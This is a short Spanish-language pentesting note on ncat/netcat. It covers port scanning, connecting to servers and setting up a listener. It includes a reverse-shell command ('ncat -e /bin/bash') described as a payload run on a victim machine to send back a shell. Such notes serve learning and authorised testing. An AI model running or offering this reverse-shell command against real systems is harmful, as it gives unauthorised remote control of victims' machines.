> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/pentesting/antes-del-pentesting/ncat-netcat.md).

# NCAT - NETCAT

Herramienta para la lectura y escritura de datos a través de conexiones de red usando protocolos como TCP o UDP.

Crear cualquier tipo de conexión a nivel de red.

Abrir puertos para recibir una reverse shell.

Escanear puertos.

Actua como cliente y servidor a nivel del procolo TCP para establecer una conexión a un servidor siendo nosotros el cliente.

## ESCANEAR PUERTOS

```bash
ncat -zv [target] [puerto/s]
-z : no enviar datos, solo escanear puertos.
-v : verbose
```

## Conectarse a un servidor que espera una conexión

```bash
nc [target] [puerto]
```

## Ponernos a la escucha

Por ejemplo para esperar una shell reversa.

```bash
ncat -lnvp [puerto]

-l : listen, ponerse a la escucha.
-n : no hacer resolución DNS.
-v : verbose.
-p : puerto de escucha
```

Por ejemplo, un payload se ejecuta en la máquina víctima y nos envía la shell.

```bash
ncat -e /bin/bash [target] [puerto]

-e : ejecutar.
```

***

## RECURSOS

{% embed url="<https://linuxvox.com/blog/install-ncat-linux/>" %}
